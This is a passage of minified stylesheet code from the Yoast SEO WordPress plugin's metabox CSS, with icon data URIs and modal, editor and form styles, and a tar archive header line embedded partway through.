.yoast-toggle__checkbox~.yoast-toggle--active,.yoast-toggle--inverse .yoast-toggle__checkbox:checked~.yoast-toggle--inactive,.yoast-toggle--inverse .yoast-toggle__checkbox~.yoast-toggle--active{color:var(--yoast-color-inactive-text)}.yoast-toggle .yoast-toggle__checkbox:checked~.yoast-toggle--active,.yoast-toggle--inverse .yoast-toggle__checkbox:checked~.yoast-toggle--active{color:var(--yoast-color-default-darker)}@media(max-width:400px){.yoast-feature{margin-left:0}.yoast-toggle__item-disabled{flex-wrap:wrap}.yoast-toggle__item-disabled .yoast-button.yoast-button--buy{margin-right:0;margin-top:8px;position:static}}wordpress-seo/css/dist/metabox-2420.css000064400000076771147510273070013701 0ustar00:root{--yoast-svg-icon-info:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23A4286A' d='M1152 1376v-160q0-14-9-23t-23-9h-96V672q0-14-9-23t-23-9H672q-14 0-23 9t-9 23v160q0 14 9 23t23 9h96v320h-96q-14 0-23 9t-9 23v160q0 14 9 23t23 9h448q14 0 23-9t9-23zm-128-896V320q0-14-9-23t-23-9H800q-14 0-23 9t-9 23v160q0 14 9 23t23 9h192q14 0 23-9t9-23zm640 416q0 209-103 385.5T1281.5 1561 896 1664t-385.5-103T231 1281.5 128 896t103-385.5T510.5 231 896 128t385.5 103T1561 510.5 1664 896z'/%3E%3C/svg%3E");--yoast-svg-icon-check:url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 1792 1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-check-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-right:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662Z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-left:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z'/%3E%3C/svg%3E");--yoast-svg-icon-eye:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M1664 960q-152-236-381-353 61 104 61 225 0 185-131.5 316.5T896 1280t-316.5-131.5T448 832q0-121 61-225-229 117-381 353 133 205 333.5 326.5T896 1408t434.5-121.5T1664 960zM944 576q0-20-14-34t-34-14q-125 0-214.5 89.5T592 832q0 20 14 34t34 14 34-14 14-34q0-86 61-147t147-61q20 0 34-14t14-34zm848 384q0 34-20 69-140 230-376.5 368.5T896 1536t-499.5-139T20 1029Q0 994 0 960t20-69q140-229 376.5-368T896 384t499.5 139T1772 891q20 35 20 69z'/%3E%3C/svg%3E");--yoast-svg-icon-list:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M384 1408q0 80-56 136t-136 56-136-56-56-136 56-136 136-56 136 56 56 136zm0-512q0 80-56 136t-136 56-136-56T0 896t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 1504v-192q0-13 9.5-22.5t22.5-9.5h1216q13 0 22.5 9.5t9.5 22.5zM384 384q0 80-56 136t-136 56-136-56T0 384t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 992V800q0-13 9.5-22.5T544 768h1216q13 0 22.5 9.5t9.5 22.5zm0-512v192q0 13-9.5 22.5T1760 512H544q-13 0-22.5-9.5T512 480V288q0-13 9.5-22.5T544 256h1216q13 0 22.5 9.5t9.5 22.5z'/%3E%3C/svg%3E");--yoast-svg-icon-key:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M832 512q0-80-56-136t-136-56-136 56-56 136q0 42 19 83-41-19-83-19-80 0-136 56t-56 136 56 136 136 56 136-56 56-136q0-42-19-83 41 19 83 19 80 0 136-56t56-136zm851 704q0 17-49 66t-66 49q-9 0-28.5-16t-36.5-33-38.5-40-24.5-26l-96 96 220 220q28 28 28 68 0 42-39 81t-81 39q-40 0-68-28l-671-671q-176 131-365 131-163 0-265.5-102.5T0 784q0-160 95-313t248-248 313-95q163 0 265.5 102.5T1024 496q0 189-131 365l355 355 96-96q-3-3-26-24.5t-40-38.5-33-36.5-16-28.5q0-17 49-66t66-49q13 0 23 10 6 6 46 44.5t82 79.5 86.5 86 73 78 28.5 41z'/%3E%3C/svg%3E");--yoast-svg-icon-edit:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='m491 1536 91-91-235-235-91 91v107h128v128h107zm523-928q0-22-22-22-10 0-17 7l-542 542q-7 7-7 17 0 22 22 22 10 0 17-7l542-542q7-7 7-17zm-54-192 416 416-832 832H128v-416zm683 96q0 53-37 90l-166 166-416-416 166-165q36-38 90-38 53 0 91 38l235 234q37 39 37 91z'/%3E%3C/svg%3E");--yoast-svg-icon-lock:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2H6a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2zm10-10V7a4 4 0 0 0-8 0v4h8z"/></svg>');--yoast-svg-icon-yoast:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23999' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-good:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%237ad03a' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23ee7c1b' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-bad:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23dc3232' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-noindex:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%231e8cbe' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E")}.yoast-modal__screen-overlay{animation:edit-post__fade-in-animation .2s ease-out 0s;animation-fill-mode:forwards;background-color:#a4286a99;bottom:0;left:0;position:fixed;right:0;top:0;z-index:100000}.yoast-modal{background:#fff;bottom:48px;display:flex;flex-direction:column;height:calc(100% - 96px);left:calc(50% - 440px);max-width:880px;overflow:hidden;position:fixed;top:48px;width:100%}.yoast-gutenberg-modal .yoast-icon{background-color:var(--yoast-color-primary);display:inline-block;height:20px;margin-right:8px;mask-image:var(--yoast-svg-icon-yoast);-webkit-mask-image:var(--yoast-svg-icon-yoast);mask-size:100% 100%;-webkit-mask-size:100% 100%;width:20px}.yoast-tabs .yoast-modal__content{display:grid;grid-template-areas:"heading heading" "menu content" "menu footer";grid-template-columns:280px 1fr;grid-template-rows:72px 1fr 88px}.yoast-modal__heading{align-items:center;background:var(--yoast-color-white);border-bottom:var(--yoast-border-default);box-sizing:border-box;display:flex;grid-area:heading;min-height:72px;padding:0 24px}.yoast-modal__heading .yoast-close{position:absolute;right:16px}.yoast-gutenberg-modal__box.components-modal__frame{box-shadow:0 20px 25px -5px #0000001a,0 8px 10px -6px #0000001a}@media (min-width:600px){.yoast-gutenberg-modal__box.components-modal__frame{border-radius:8px;max-height:calc(100% - 48px)}}.yoast-gutenberg-modal__no-padding .components-modal__content{padding:0}.yoast-gutenberg-modal .components-modal__header-heading,.yoast-modal__heading h1{color:var(--yoast-color-primary);font-size:20px;font-weight:400;line-height:1.2;margin:0}.yoast-gutenberg-modal .components-modal__content .components-modal__header{border-bottom:1px solid #e2e8f0!important}.yoast-gutenberg-modal .components-modal__icon-container{display:inline-flex}.yoast-gutenberg-modal .components-modal__icon-container svg,.yoast-modal__heading-icon{fill:var(--yoast-color-primary);flex-shrink:0;height:20px;margin-right:16px;width:19px}.yoast-modal__menu{border-right:var(--yoast-border-default);grid-area:menu;overflow-y:auto}.yoast-modal__menu ul{list-style:none;margin:0;padding:0}.yoast-modal__menu li{border-bottom:var(--yoast-border-default);color:var(--yoast-color-default);cursor:pointer;display:block;font-size:16px;padding:12px 16px 11px;text-decoration:none}.yoast-modal__menu li:hover{background-color:#edd4e1}.yoast-modal__menu li.yoast-tabs__tab--selected{background-color:var(--yoast-color-primary);border-bottom:var(--yoast-border-default);color:#fff}.yoast-modal__content,.yoast-modal__section{display:flex;flex-direction:column;flex-grow:1;grid-area:content;overflow-y:auto;position:relative}.yoast-modal__section *{max-width:600px}.yoast-modal__section-header{background:var(--yoast-color-white);padding:24px 24px 0;position:sticky;top:0;z-index:10}.yoast-modal__section .yoast-h2{border-bottom:var(--yoast-border-default);padding-bottom:24px}.yoast-modal__footer{align-items:center;align-self:flex-end;background:var(--yoast-color-white);border-top:var(--yoast-border-default);bottom:0;box-sizing:border-box;display:flex;grid-area:footer;justify-content:flex-end;margin:0 24px;min-height:88px;padding:0;position:sticky;width:calc(100% - 48px);z-index:10}.yoast-modal__settings-saved{align-items:center;display:inline-flex;margin-right:16px;position:relative}.yoast-modal__settings-saved:before{background:var(--yoast-checkmark--green) no-repeat center;content:"";display:inline-block;height:13px;margin-right:8px;width:14px}.yoast-modal__footer .yoast-button{display:block}.yoast-modal__section-content{flex-grow:1;padding:24px}@media screen and (max-width:880px){.yoast-modal{bottom:0;height:auto;left:0;right:0;top:0}}@media screen and (max-width:782px){.yoast-modal{overflow-y:initial}.yoast-modal.yoast-modal-collapsible{padding-bottom:72px}.yoast-tabs .yoast-modal__content{grid-template-rows:48px 1fr 72px}.yoast-modal__heading{min-height:48px;padding:0 16px;position:fixed;top:0;width:100%;z-index:11}.yoast-modal__heading h1{font-size:var(--yoast-font-size-default)}.yoast-close svg{width:10px}.yoast-modal__heading-icon{height:15px;margin-right:8px}.yoast .yoast-close{right:3px}.yoast-modal__heading .yoast-h2{font-size:var(--yoast-font-size-default)}.yoast-modal__section{flex-grow:0;overflow:initial}.yoast-modal__section-content{margin:0 16px;padding:24px 0}.yoast-modal__section:first-of-type{margin-top:48px}.yoast-modal__section:last-of-type{margin-bottom:72px}.yoast-modal__section-header{margin:0;padding:0;position:sticky;top:48px}.yoast-modal__section-open .yoast-modal__section-header{margin-left:16px;margin-right:16px;padding-left:0;padding-right:0}.yoast-modal__section-open{border-bottom:var(--yoast-border-default)}.yoast-modal__footer{margin:0;min-height:72px;padding:0 16px;position:fixed;width:100%;z-index:11}.yoast-modal-collapsible .yoast-modal__footer{min-height:72px}.yoast-modal-collapsible .yoast-modal__section-content{border-bottom:var(--yoast-border-default);margin:0;padding:24px 16px}.yoast-collapsible__hidden{display:none}.yoast-collapsible__trigger{background:#fff;border:none;border-bottom:var(--yoast-border-default);color:var(--yoast-color-primary);cursor:pointer;font-size:var(--yoast-font-size-default);justify-content:space-between;padding:16px;text-align:left;width:100%}.yoast-collapsible__trigger[aria-expanded=true] .yoast-collapsible__icon{transform:rotate(180deg)}.yoast-collapsible__trigger[aria-expanded=true]{margin:0 16px;padding:16px 0;width:calc(100% - 32px)}.yoast-collapsible__icon{background-color:var(--yoast-color-white);background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 8' fill='%23404040'%3E%3Cpath d='M1.4 0 6 4.6 10.6 0 12 1.4 6 7.5 0 1.4z'/%3E%3C/svg%3E");background-position:50%;background-repeat:no-repeat;background-size:10px auto;border:none;display:block;float:right;height:19px;width:19px}.yoast-collapsible-block{margin-top:48px;width:100%}.yoast-collapsible-block+.yoast-collapsible-block{margin-top:0}}.yoast-post-settings-modal{height:100%;max-height:calc(100% - 96px);max-width:calc(100% - 96px);overflow:hidden;width:880px}.yoast-modal-content{padding:16px}@media (min-width:782px){.yoast-modal-content--columns{grid-gap:24px;display:grid;grid-template-columns:1fr 1fr}}.yoast-post-settings-modal__button-container{border-bottom:1px solid #0003;display:flex;flex-direction:column;padding:16px}.yoast-post-settings-modal .components-modal__content{display:flex;flex-direction:column;padding:0}.yoast-post-settings-modal .components-modal__header{border-bottom:var(--yoast-border-default);flex-shrink:0;margin:0}.yoast-post-settings-modal .yoast-notice-container{bottom:0;left:0;margin-top:auto;position:sticky;width:100%;z-index:1}.yoast-post-settings-modal .components-modal__content>div:not([class]):not([class=""]){display:flex;flex-direction:column;overflow:hidden}.yoast-post-settings-modal .yoast-notice-container>hr{margin-bottom:0;margin-top:-1px}.yoast-post-settings-modal .yoast-content-container{flex-grow:1;overflow-y:auto}.yoast-post-settings-modal .yoast-button-container{display:flex;flex-direction:row;justify-content:flex-end;margin:0;padding:24px}.yoast-post-settings-modal .yoast-button-container p{align-self:center;color:var(--yoast-color-label-help);padding-right:24px}.yoast-post-settings-modal .yoast-button-container button{align-self:center;flex-shrink:0;max-height:45px}@media only screen and (max-width:600px){.yoast-post-settings-modal{max-height:100%;max-width:100%}.yoast-post-settings-modal .yoast-button-container{justify-content:space-between;padding:16px}.yoast-post-settings-modal .yoast-button-container p{padding-right:0}}.yoast-related-keyphrases-modal,.yoast-wincher-seo-performance-modal{max-width:712px}.yoast-wincher-seo-performance-modal__content{padding:25px 32px 32px}#yoast-get-related-keyphrases-metabox,#yoast-get-related-keyphrases-sidebar{margin-top:8px}.yoast-gutenberg-modal .yoast-related-keyphrases-modal__content{min-height:66vh;position:relative}.yoast-related-keyphrases-modal__chart{display:block}.m6zwb4v,.m6zwb4v:visited{background:#e6f3ff;border-radius:2px;color:#575f67;cursor:pointer;display:inline-block;padding-left:2px;padding-right:2px;-webkit-text-decoration:none;text-decoration:none}.m6zwb4v:focus,.m6zwb4v:hover{background:#edf5fd;color:#677584;outline:0}.m6zwb4v:active{background:#455261;color:#222}.mnw6qvm{background:#fff;border:1px solid #eee;border-radius:2px;box-shadow:0 4px 30px 0 #dcdcdc;box-sizing:border-box;cursor:pointer;display:flex;flex-direction:column;max-width:440px;min-width:220px;padding-bottom:8px;padding-top:8px;position:absolute;transform:scale(0);z-index:2}.m1ymsnxd{opacity:0;transition:opacity .25s cubic-bezier(.3,1.2,.2,1)}.m126ak5t{opacity:1}.mtiwdxc{padding:7px 10px 3px;transition:background-color .4s cubic-bezier(.27,1.27,.48,.56)}.mtiwdxc:active{background-color:#cce7ff}.myz2dw1{background-color:#e6f3ff;padding:7px 10px 3px;transition:background-color .4s cubic-bezier(.27,1.27,.48,.56)}.myz2dw1:active{background-color:#cce7ff}.mpqdcgq{font-size:.9em;margin-bottom:.2em;margin-left:8px;max-width:368px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.m1mfvffo,.mpqdcgq{display:inline-block}.m1mfvffo{border-radius:12px;height:24px;width:24px}
/*!rtl:begin:ignore*/.DraftEditor-editorContainer,.DraftEditor-root,.public-DraftEditor-content{height:inherit;text-align:initial}.public-DraftEditor-content[contenteditable=true]{-webkit-user-modify:read-write-plaintext-only}.DraftEditor-root{position:relative}.DraftEditor-editorContainer{background-color:#fff0;border-left:.1px solid #0000;position:relative;z-index:1}.public-DraftEditor-block{position:relative}.DraftEditor-alignLeft .public-DraftStyleDefault-block{text-align:left}.DraftEditor-alignLeft .public-DraftEditorPlaceholder-root{left:0;text-align:left}.DraftEditor-alignCenter .public-DraftStyleDefault-block{text-align:center}.DraftEditor-alignCenter .public-DraftEditorPlaceholder-root{margin:0 auto;text-align:center;width:100%}.DraftEditor-alignRight .public-DraftStyleDefault-block{text-align:right}.DraftEditor-alignRight .public-DraftEditorPlaceholder-root{right:0;text-align:right}.public-DraftEditorPlaceholder-root{color:#9197a3;position:absolute;width:100%;z-index:1}.public-DraftEditorPlaceholder-hasFocus{color:#bdc1c9}.DraftEditorPlaceholder-hidden{display:none}.public-DraftStyleDefault-block{position:relative;white-space:pre-wrap}.public-DraftStyleDefault-ltr{direction:ltr;text-align:left}.public-DraftStyleDefault-rtl{direction:rtl;text-align:right}.public-DraftStyleDefault-listLTR{direction:ltr}.public-DraftStyleDefault-listRTL{direction:rtl}.public-DraftStyleDefault-ol,.public-DraftStyleDefault-ul{margin:16px 0;padding:0}.public-DraftStyleDefault-depth0.public-DraftStyleDefault-listLTR{margin-left:1.5em}.public-DraftStyleDefault-depth0.public-DraftStyleDefault-listRTL{margin-right:1.5em}.public-DraftStyleDefault-depth1.public-DraftStyleDefault-listLTR{margin-left:3em}.public-DraftStyleDefault-depth1.public-DraftStyleDefault-listRTL{margin-right:3em}.public-DraftStyleDefault-depth2.public-DraftStyleDefault-listLTR{margin-left:4.5em}.public-DraftStyleDefault-depth2.public-DraftStyleDefault-listRTL{margin-right:4.5em}.public-DraftStyleDefault-depth3.public-DraftStyleDefault-listLTR{margin-left:6em}.public-DraftStyleDefault-depth3.public-DraftStyleDefault-listRTL{margin-right:6em}.public-DraftStyleDefault-depth4.public-DraftStyleDefault-listLTR{margin-left:7.5em}.public-DraftStyleDefault-depth4.public-DraftStyleDefault-listRTL{margin-right:7.5em}.public-DraftStyleDefault-unorderedListItem{list-style-type:square;position:relative}.public-DraftStyleDefault-unorderedListItem.public-DraftStyleDefault-depth0{list-style-type:disc}.public-DraftStyleDefault-unorderedListItem.public-DraftStyleDefault-depth1{list-style-type:circle}.public-DraftStyleDefault-orderedListItem{list-style-type:none;position:relative}.public-DraftStyleDefault-orderedListItem.public-DraftStyleDefault-listLTR:before{left:-36px;position:absolute;text-align:right;width:30px}.public-DraftStyleDefault-orderedListItem.public-DraftStyleDefault-listRTL:before{position:absolute;right:-36px;text-align:left;width:30px}.public-DraftStyleDefault-orderedListItem:before{content:counter(ol0) ". ";counter-increment:ol0}.public-DraftStyleDefault-orderedListItem.public-DraftStyleDefault-depth1:before{content:counter(ol1,lower-alpha) ". ";counter-increment:ol1}.public-DraftStyleDefault-orderedListItem.public-DraftStyleDefault-depth2:before{content:counter(ol2,lower-roman) ". ";counter-increment:ol2}.public-DraftStyleDefault-orderedListItem.public-DraftStyleDefault-depth3:before{content:counter(ol3) ". ";counter-increment:ol3}.public-DraftStyleDefault-orderedListItem.public-DraftStyleDefault-depth4:before{content:counter(ol4,lower-alpha) ". ";counter-increment:ol4}.public-DraftStyleDefault-depth0.public-DraftStyleDefault-reset{counter-reset:ol0}.public-DraftStyleDefault-depth1.public-DraftStyleDefault-reset{counter-reset:ol1}.public-DraftStyleDefault-depth2.public-DraftStyleDefault-reset{counter-reset:ol2}.public-DraftStyleDefault-depth3.public-DraftStyleDefault-reset{counter-reset:ol3}.public-DraftStyleDefault-depth4.public-DraftStyleDefault-reset{counter-reset:ol4}
/*!rtl:end:ignore*/#wpseo_meta{box-sizing:border-box}#wpseo_meta *,#wpseo_meta :after,#wpseo_meta :before{box-sizing:inherit}.DraftEditor-root [data-block]{margin:0}#edittag>#wp-description-wrap{display:none}#wp-description-wrap .wp-editor-area{border:0}.term-description-wrap td>textarea#description{min-height:530px}.wpseo-meta-section,.wpseo-meta-section-react{border:1px solid #0003;display:none;height:auto;max-width:600px;min-height:100%;vertical-align:top;width:100%}.wpseo-meta-section-react.active,.wpseo-meta-section.active{background:#fff;position:relative;z-index:12}.wpseo-meta-section.active{display:inline-block}.wpseo-meta-section-react.active{display:block;margin-bottom:10px}.wpseo-meta-section-content{padding:16px}.wpseo-metabox-content{max-width:800px;padding-top:16px}.edit-post-meta-boxes-area__container .wpseo-metabox .postbox-header{border-bottom:1px solid #ddd}.edit-post-meta-boxes-area__container .wpseo-metabox .inside{background-color:#f1f5f9}.edit-post-meta-boxes-area__container .wpseo-metabox .wpseo-metabox-content{max-width:none;padding:32px 8px 8px}.edit-post-meta-boxes-area__container .wpseo-metabox .wpseo-meta-section,.edit-post-meta-boxes-area__container .wpseo-metabox .wpseo-metabox-menu{margin:0 auto}.edit-post-meta-boxes-area__container .wpseo-metabox .wpseo-meta-section.active{display:block}.wpseo-metabox-menu{max-width:600px;padding:0}.wpseo-metabox-menu ul{align-items:flex-end;display:flex;flex-wrap:wrap;flex-flow:wrap-reverse;margin:0 1px 0 0;padding:0 0 0 16px}.wpseo-metabox-menu ul li:first-child{z-index:10}.wpseo-metabox-menu ul li:nth-child(2){z-index:9}.wpseo-metabox-menu ul li:nth-child(3){z-index:8}.wpseo-metabox-menu ul li:nth-child(4){z-index:7}.wpseo-metabox-menu ul li:nth-child(5){z-index:6}.wpseo-metabox-menu ul li:nth-child(6){z-index:5}.wpseo-metabox-menu ul li{background-color:#f8f8f8;box-shadow:0 0 4px 0 #0000001a;height:32px;margin-bottom:-1px;margin-left:-1px;position:relative;text-align:center}.wpseo-metabox-menu ul li a{align-items:center;border:1px solid #0003;border-bottom:2px #0000;color:#0073aa;display:flex}.wpseo-metabox-menu ul li a:focus{box-shadow:inherit}.wpseo-metabox-menu ul li .yst-traffic-light{height:20px;margin-left:4px;margin-right:10px;width:auto}.wpseo-metabox-menu ul li span.dashicons{margin-right:8px}.wpseo-metabox-menu ul li span.wpseo-buy-premium{color:#a4286a}.wpseo-metabox-menu ul li span.wpseo-buy-premium:hover{color:#832055}.wpseo-metabox-menu ul li.active{background-color:#fff;border-bottom:2px #0000;box-shadow:none;height:36px;margin-top:-4px;z-index:13}.wpseo-metabox-menu ul li.active a{color:#444;height:36px}.wpseo-metabox-menu ul li.active span.wpseo-buy-premium{border-color:#a4286a;color:#a4286a}.wpseo-metabox-menu ul li.active span.wpseo-buy-premium:hover{border-color:#832055;color:#832055}.wpseo-metabox-menu a{height:32px;padding:0 8px;text-decoration:none}.wpseotab{background-color:#fdfdfd;border:1px solid #ddd;display:none;padding:16px}.wpseotab .wpseo-cornerstone-checkbox{margin-right:.5em}.wpseotab.content{padding:20px 15px}.wpseotab.active{display:block}.wpseo-metabox-sidebar .dashicons{font-size:30px;height:30px;width:30px}#wpseo_meta .inside{margin:0}#wpseo_meta .inside:after{clear:both;content:"";display:table}#wpseo_meta .postbox .inside .wpseotab{font-size:13px!important}.wpseo-form input,.wpseo-form label,.wpseo-form p.error-message,.wpseo-form textarea{max-width:600px}.wpseo-form fieldset{padding-top:5px}.wpseo-form legend{font-weight:600}.wpseo-form label{display:block;font-weight:600}.wpseo-form input[type=checkbox]+label,.wpseo-form input[type=radio]+label{display:inline-block;font-weight:400}.wpseo-form fieldset,.wpseo-form label{margin-bottom:.5em;margin-top:2em}.wpseo-form input[type=checkbox],.wpseo-form input[type=checkbox]+label{font-size:1em;margin-bottom:0;margin-top:2em}.wpseo-form fieldset:first-child,.wpseo-form input[type=checkbox]:first-child,.wpseo-form input[type=checkbox]:first-child+label,.wpseo-form label:first-child{margin-top:10px}.wpseo-form input[type=radio]{margin-top:0}.wpseo-form input[type=radio]+label{margin:0 1em 0 0}.wpseo-form p.error-message{margin:.5em 0}.wpseo-form select[multiple]{margin-top:0}.yoast-metabox__description{margin:.5em 0;max-width:600px}.good,.warn,.wrong{font-weight:600}.good{color:green}.warn{color:maroon}.wrong{color:#dc3232}#current_seo_title span{background-color:#ffffe0;padding:2px 5px}#focuskwresults ul{margin:0}#focuskwresults li,#focuskwresults p{font-size:13px}#focuskwresults li{list-style-type:disc;margin:0 0 0 20px}.wpseo_hidden{display:none}.wpseo_msg{background-color:#ffffe0;border:1px solid #e6db55;margin:5px 0 10px;padding:0 5px}.snippet-editor__button.snippet-editor__edit-button:focus{background-color:#fafafa;border-color:#5b9dd9;box-shadow:0 0 3px #0073aacc;color:#23282d;outline:none}.wpseo-admin-page .subsubsub li{display:inline;max-width:none}.yoast-seo-help-container{float:left;max-width:none;width:100%}.yoast-seo-help-container .yoast-help-panel{margin:.5em 0!important}.wpseo_content_wrapper p.search-box{margin:10px 0 5px}#wpseotab .ui-widget-content .ui-state-hover{background:#f1f1f1;border:1px solid #dfdfdf;color:#333}.yst-traffic-light{height:30px;margin:0 0 0 5px;width:19px}.yst-traffic-light .traffic-light-color{display:none}.yst-traffic-light.bad .traffic-light-red,.yst-traffic-light.good .traffic-light-green,.yst-traffic-light.init .traffic-light-init,.yst-traffic-light.na .traffic-light-empty,.yst-traffic-light.ok .traffic-light-orange{display:inline}.yoast-seo-score .yoast-logo.svg{background:var(--yoast-svg-icon-yoast) no-repeat;background-size:18px;flex-shrink:0;float:left;height:18px;margin-right:7px;width:18px}.yoast-seo-score .yoast-logo.svg.good{background-image:var(--yoast-svg-icon-yoast-good)}.yoast-seo-score .yoast-logo.svg.ok{background-image:var(--yoast-svg-icon-yoast-ok)}.yoast-seo-score .yoast-logo.svg.bad{background-image:var(--yoast-svg-icon-yoast-bad)}.yoast-seo-score .yoast-logo.svg.na,.yoast-seo-score .yoast-logo.svg.noindex{background-image:var(--yoast-svg-icon-yoast)}.term-php .wpseo-taxonomy-metabox-postbox>h2{border-bottom:1px solid #eee;font-size:14px;line-height:1.4;margin:0;padding:8px 12px}#TB_window #TB_ajaxContent p{margin:5px 0 0;padding:5px 0 0}#TB_window #TB_ajaxContent ul{margin:5px 0 10px}#TB_window #TB_ajaxContent li{list-style:none;margin:5px 0 0}#TB_window #TB_ajaxContent li:before{content:"+";font-weight:700;margin:0 10px 0 